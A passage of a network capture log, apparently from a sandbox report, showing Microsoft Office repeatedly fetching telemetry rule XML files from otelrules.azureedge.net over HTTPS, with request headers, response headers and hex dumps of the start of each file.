2024-11-25 11:07:59 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:58 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:59 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:59 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 31c6069e-e01e-001f-7f36-3d1633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110759Z-15b8b599d88wn9hhhC1TEBry0g00000005y0000000005s0u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:59 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:00 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:01 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:00 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: d56f269a-601e-00ab-4c3f-3e66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110800Z-174c587ffdfmlsmvhC1TEBvyks00000005yg00000000cxm8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:01 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:00 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:01 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:01 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 962a21d8-701e-001e-0fb8-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110801Z-15b8b599d88s6mj9hC1TEBur3000000005ng00000000a1m4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:01 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:00 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:01 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:01 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: fa1269cf-b01e-003d-7592-3bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110801Z-15b8b599d88tr2flhC1TEB5gk4000000061g000000002yk3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:01 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:01 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:01 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:01 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: cb31e276-601e-00ab-1151-3c66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110801Z-15b8b599d88phfhnhC1TEBr51n0000000600000000005vzb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:01 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:01 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:01 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:01 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 752ff78c-c01e-0034-4cbf-3e2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110801Z-178bfbc474brk967hC1NYCfu600000000790000000000n61 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:01 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:02 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:03 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:03 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 731b5b9c-601e-0001-6b71-3cfaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110803Z-174c587ffdfn4nhwhC1TEB2nbc000000060g000000001vam x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:03 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:03 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:03 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:03 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 008b0be1-f01e-001f-587c-3b5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110803Z-174c587ffdfcb7qhhC1TEB3x700000000600000000002tvc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:03 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:03 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:03 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:03 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: b43d4aba-301e-0020-1845-3c6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110803Z-174c587ffdfx984chC1TEB676g00000005sg00000000fag2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:03 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:03 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:03 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:03 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 080d0a10-601e-0050-16b6-3e2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110803Z-178bfbc474bwlrhlhC1NYCy3kg000000079000000000b19e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:03 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:03 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:03 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:03 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 45806a8e-701e-003e-807c-3b79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110803Z-174c587ffdfgcs66hC1TEB69cs00000005t0000000003240 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:03 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:05 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
